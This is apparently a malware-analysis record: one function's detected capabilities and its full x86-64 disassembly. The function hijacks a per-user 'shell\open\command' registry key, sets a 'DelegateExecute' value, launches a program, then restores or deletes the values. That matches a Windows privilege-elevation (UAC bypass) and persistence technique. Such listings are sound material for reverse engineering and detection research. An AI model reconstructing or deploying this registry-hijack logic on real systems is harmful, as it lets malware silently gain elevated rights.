Function at 0x14001635c
Capabilities:
Delete registry value
Persist via default file association registry key
Query or enumerate registry value
Set registry value

Disassembly:
jmp 0x140024990
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x11b8
call fcn.14001600a
sub rsp, rax
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x46e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x11d8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x1158], rax
lea rcx, [0x14006d14e]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x84], 0
mov dword [rbp + 0xa4], 0
mov dword [rbp + 0xc4], 0
lea rax, [0x140047438]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x128], 0
mov rax, qword [0x140065a08]
mov dword [rax + 0x58], 2
cmp qword [rbp + 0x1188], 0x104
jae 0x140024a5d
cmp qword [rbp + 0x1188], 0
jne 0x140024a67
mov eax, 0xc00000f0
jmp 0x140024f46
cmp qword [rbp + 0x1198], 0x104
jae 0x140024a7e
cmp qword [rbp + 0x1198], 0
jne 0x140024a88
mov eax, 0xc00000f2
jmp 0x140024f46
cmp qword [rbp + 0x11a8], 0
jne 0x140024a9c
mov eax, 0xc00000f4
jmp 0x140024f46
mov rdx, qword [rbp + 0x1190]
lea rcx, [rbp + 0x150]
call fcn.14001616d
lea rdx, str._shellopencommand
lea rcx, [rbp + 0x150]
call fcn.1400165e1
lea rax, [rbp + 0xc4]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x150]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
je 0x140024b25
jmp 0x140024f10
mov dword [rbp + 0x84], 0x208
mov edx, 0x20a
lea rcx, [rbp + 0x7b0]
call fcn.140016c2b
lea rax, [rbp + 0x84]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x7b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cdqe
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x140024b8c
mov dword [rbp + 0x24], 1
mov dword [rbp + 0xa4], 0x208
mov edx, 0x20a
lea rcx, [rbp + 0x9e0]
call fcn.140016c2b
lea rax, [rbp + 0xa4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x9e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DelegateExecute
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cdqe
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x140024bf3
mov dword [rbp + 0x44], 1
mov qword [rbp + 0xe8], 5
mov rax, qword [0x140065a08]
mov eax, dword [rax + 0x58]
mov dword [rbp + 0x1154], eax
cmp dword [rbp + 0x1154], 2
je 0x140024c19
jmp 0x140024c91
lea rax, [0x140047438]
mov qword [rsp + 0x20], rax
lea r9, str.REG_SZ
lea r8, str.DelegateExecute
lea rdx, [rbp + 0x150]
lea rcx, str.HKEY_CURRENT_USER
call fcn.14001628f
movzx eax, al
test eax, eax
je 0x140024c8c
mov rax, qword [rbp + 0x11a0]
mov qword [rsp + 0x20], rax
lea r9, str.REG_SZ
mov r8, qword [rbp + 0x108]
lea rdx, [rbp + 0x150]
lea rcx, str.HKEY_CURRENT_USER
call fcn.14001628f
movzx eax, al
test eax, eax
je 0x140024c8c
mov qword [rbp + 0xe8], 0
jmp 0x140024d58
mov dword [rbp + 0x64], 0
mov eax, 2
imul rax, rax, 0
mov qword [rbp + 0x1148], rax
cmp qword [rbp + 0x1148], 0x410
jae 0x140024cb7
jmp 0x140024cbc
call fcn.14001668b
xor eax, eax
mov rcx, qword [rbp + 0x1148]
mov word [rbp + rcx + 0x380], ax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x380]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.DelegateExecute
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x140024d58
mov rax, qword [rbp + 0x11a8]
lea rax, [rax + rax + 2]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x11a0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x140024e6d
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x380]
call fcn.14001616d
mov rdx, qword [rbp + 0x1180]
lea rcx, [rbp + 0x380]
call fcn.1400165e1
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x380]
call fcn.14001664a
test eax, eax
je 0x140024dc9
mov dword [rbp + 4], 0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x24], 0
jne 0x140024df0
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x140024e6d
mov rax, qword [0x140065a08]
mov eax, dword [rax + 0x58]
mov dword [rbp + 0x1154], eax
cmp dword [rbp + 0x1154], 2
je 0x140024e0b
jmp 0x140024e3a
lea rax, [rbp + 0x7b0]
mov qword [rsp + 0x20], rax
lea r9, str.REG_SZ
mov r8, qword [rbp + 0x108]
lea rdx, [rbp + 0x150]
lea rcx, str.HKEY_CURRENT_USER
call fcn.14001628f
jmp 0x140024e6d
mov eax, dword [rbp + 0x84]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x7b0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp dword [rbp + 0x44], 0
je 0x140024ef2
mov rax, qword [0x140065a08]
mov eax, dword [rax + 0x58]
mov dword [rbp + 0x1154], eax
cmp dword [rbp + 0x1154], 2
je 0x140024e8e
jmp 0x140024ebd
lea rax, [rbp + 0x9e0]
mov qword [rsp + 0x20], rax
lea r9, str.REG_SZ
lea r8, str.DelegateExecute
lea rdx, [rbp + 0x150]
lea rcx, str.HKEY_CURRENT_USER
call fcn.14001628f
jmp 0x140024ef0
mov eax, dword [rbp + 0xa4]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x9e0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.DelegateExecute
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x140024f06
lea rdx, str.DelegateExecute
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
xor eax, eax
test eax, eax
jne 0x140024a46
cmp qword [rbp + 0x128], 0
je 0x140024f27
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp + 0xc4], 1
jne 0x140024f43
mov rdx, qword [rbp + 0x1190]
mov rcx, 0xffffffff80000001
call fcn.140016046
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140048d70]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x1158]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x1168]
pop rdi
pop rbp
ret